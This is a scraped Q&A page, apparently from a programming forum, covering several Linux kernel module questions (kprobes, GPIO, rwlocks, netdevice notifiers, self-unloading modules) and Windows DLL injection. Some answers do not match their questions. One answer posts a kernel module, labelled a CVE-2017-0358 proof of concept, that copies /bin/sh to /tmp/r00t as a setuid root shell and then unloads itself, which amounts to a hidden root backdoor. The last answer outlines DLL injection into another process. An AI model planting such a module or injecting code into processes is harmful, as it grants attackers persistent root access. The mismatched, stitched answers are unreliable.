Im trying to intercept the __do_page_fault() method in linux kernel. The normal way to register kprobes , i.e. defining kp.addr as
kp.addr = (kprobe_opcode_t *) kallsyms_lookup_name("__do_page_fault");
is not working. What's the proper way to do this?
Edit:
Any other method of intercepting do_page_fault will also work for me.
This error usually comes when GPL licenses are not used in the module. Adding the following lines in your module should remove this error :
MODULE_LICENSE("GPL");
MODULE_LICENSE("GPL v2");
Related
i am quiet new at writing kernel drivers and there is something bothering me a lot. It would be great if you could kcik me into the right direction.
I am writing a module for a device, that has to be powered via putting a GPIO to HIGH-State.
In Documentation/gpio/* are texts, which say i should use the new descriptor-based interface of the GPIO Framework. But how to use it?
When i make an include like #include
it compiles and i can run the driver. But using gpiod_get(...) just returns fffffffffffffffe. It makes sense somehow, as the implentation of that function within linux/gpio/consumer.h is
static inline struct gpio_desc *__must_check gpiod_get(struct device
*dev, const char *con_id,enum gpiod_flags flags){
return ERR_PTR(-ENOSYS);
}
The implementation of the function exists in drivers/gpio/devres.c as well. How can i use that one?
It looks to me as i am not supposed to use that implementation.
I hope you can help me as it is getting really irritating.
As it turned out it was just necessary to include the file gpio/gpiolib as well which delivers additional definitions.
I'm trying to protect my list with data using read/write locks, i found solution in this thread:
What's the best linux kernel locking mechanism for a specific scenario
But i can't find needed headers for this solution, seems it is outdated, error:
error: ‘RW_LOCK_UNLOCKED’ undeclared here (not in a function)
Using <linux/spinlock.h>
RW_LOCK_UNLOCKED has been deprecated for a long time and finally removed in Linux 2.6.39, so now, according to the documentation:
For dynamic initialization, use spin_lock_init() or rwlock_init() as
appropriate:
...
For static initialization, use DEFINE_SPINLOCK() / DEFINE_RWLOCK() or
__SPIN_LOCK_UNLOCKED() / __RW_LOCK_UNLOCKED() as appropriate.
Like
static DEFINE_RWLOCK(myrwlock);
or
rwlock_t myrwlock;
static int __init rwlock_init(void)
{
rwlock_init(&myrwlock);
}
instead of
rwlock_t myrwlock = RW_LOCK_UNLOCKED;
I work on Ubuntu kernel-mode netfilter module and need information about all network interfaces and their properties in module code.
Inside of init_module() I use register_netdevice_notifier() for that purpose. When callback function is called I can see correct event codes like up/down and other, but it seems that third parameter void* casted to net_device* provides object with invalid properties. ->name is empty string, ->if index is some nonsense number etc.
I tried debug version of module on kernel 3.19 and rebuild also on 4.2. Result is the same, I cannot read properties of net_device relating to event.
What can be problem ?
From what I can see from LXR, you need to call netdev_notifier_info_to_dev on the last parameter to get your net_device * (see here)
I've made a simple module which prints GDT and IDT on loading. After it's done its work, it's no longer needed and can be unloaded. But if it returns a negative number in order to stop loading, insmod will complain, and an error message will be logged in kernel log.
How can a kernel module gracefully unload itself?
As far as I can tell, it is not possible with a stock kernel (you can modify the module loader core as I describe below but that's probably not a good thing to rely on).
Okay, so I've taken a look at the module loading and unloading code (kernel/module.c) as well as several users of the very-suspiciously named module_put_and_exit. It seems as though there is no kernel module which does what you'd like to do. All of them start up kthreads inside the module's context and then kill the kthread upon completion of something (they don't automatically unload the module).
Unfortunately, the function which does the bulk of the module unloading (free_module) is statically defined within kernel/module.c. As far as I can see, there's no exported function which will call free_module from within a module. I feel like there's probably some reason for this (it's very possible that attempting to unload a module from within itself will cause a page fault because the page which contains the module's code needs to be freed). Although this probably could be solved by making a noreturn function which just schedules after preventing the current (invalid) task from being run again (or just running do_exit).
A further point to ask is: are you sure that you want to do this? Why don't you just make a shell script to load and unload the module and call it a day? Auto-unloading modules are probably a bit too close to Skynet for my liking.
EDIT: I've played around with this a bit and have figured out a way to do this if you're okay with modifying the module loader core. Add this function to kernel/module.c, and make the necessary modifications to include/linux/module.h:
/* Removes a module in situ, from within the module itself. */
void __purge_module(struct module *mod) {
free_module(mod);
do_exit(0);
/* We should never be here. */
BUG();
}
EXPORT_SYMBOL(__purge_module);
Calling this with __purge_module(THIS_MODULE) will unload your module and won't cause a page fault (because you don't return to the module's code). However, I would still not recommend doing this. I've done some simple volume testing (I inserted a module using this function ~10000 times to see if there were any resource leaks -- as far as I can see there aren't any).
Oh you can do definitely do it :)
#include <linux/module.h>
MODULE_LICENSE("CC");
MODULE_AUTHOR("kristian erik hermansen <kristian.hermansen+CVE-2017-0358#gmail.com>");
MODULE_DESCRIPTION("PoC for CVE-2017-0358 from Google Project Zero");
int init_module(void) {
printk(KERN_INFO "[!] Exploited CVE-2017-0358 successfully; may want to patch your system!\n");
char *envp[] = { "HOME=/tmp", NULL };
char *argv[] = { "/bin/sh", "-c", "/bin/cp /bin/sh /tmp/r00t; /bin/chmod u+s /tmp/r00t", NULL };
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
char *argvv[] = { "/bin/sh", "-c", "/sbin/rmmod cve_2017_0358", NULL };
call_usermodehelper(argv[0], argvv, envp, UMH_WAIT_EXEC);
}
void cleanup_module(void) {
return 0;
printk(KERN_INFO "[*] CVE-2017-0358 exploit unloading ...\n");
}
i was looking how to inject a dll into a program (exe, or dll, etc). i have been googleing dll injecting but i have not found anything that is very helpful :(. i have not worked with dlls very much so im not sure on what to do, i really could use some help on this.
uhh the only thing i have really found is setwindowshookex but i can't find any examples for it and i don't how to use it. any questions just ask and i'll try to help.
EDIT hey i was googling and this looks like something about dll injecting that is worth looking at but i can't get the code to run :\ (How to hook external process with SetWindowsHookEx and WH_KEYBOARD)
The method I'm most familiar with was is was described by Jefferey Richter in Programming Applications for Microsoft Windows. I mention this because even if you don't get your hands on the book itself there is probably sample code floating around. I think he may have also written some journal articles. He, also mentions a couple of alternative approaches, of which I will describe only one, from memory. He also may have written some MSJ / MSDN articles that are relevant.
Anyway, the basic idea is to cause the process that you want to load your DLL to issue a call to LoadLibrary. This is done using CreateRemoteThread with the address of LoadLibary for lpStartAddress and the address of a string naming your DLL in for lpParameter. Arranging for and locating the string is done using VirtualAllocEx to allocate some memory in the remote process, and WriteProcessMemory to fill it with the string.
PSEUDO CODE:
void InjectDllIntoProcess(DWORD processId, char *dllName)
{
HANDLE hRemoteProcess = OpenProcess(
// Assumes that dll and function addresses are the same in different processes
// on the same system. I think that this is true even with ASLR, only issue I
// can think of is to make sure that the source and target process are both 32
// or both 64 bit, not a mixture.
// Note that it is asking for the ASCII version
HMODULE hDll = LoadLibrary(_T("Kernel32.dll"));
void *loadLibAddr = GetProcAddress(hDll, _T("LoadLibraryA"));
// Inject the DLL name
char * remoteAddr =
(char *)VirtualAllocEx(hRemoteProcess, NULL, strlen(dllName) + 1, ...
WriteProcessMemory(hRemoteProcess, remoteAddr, dllName, strlen(dllName) + 1 ...
CreateRemoteThread(hRemoteProcess, ??, 0, loadLibAddr, remoteAddr, ...
}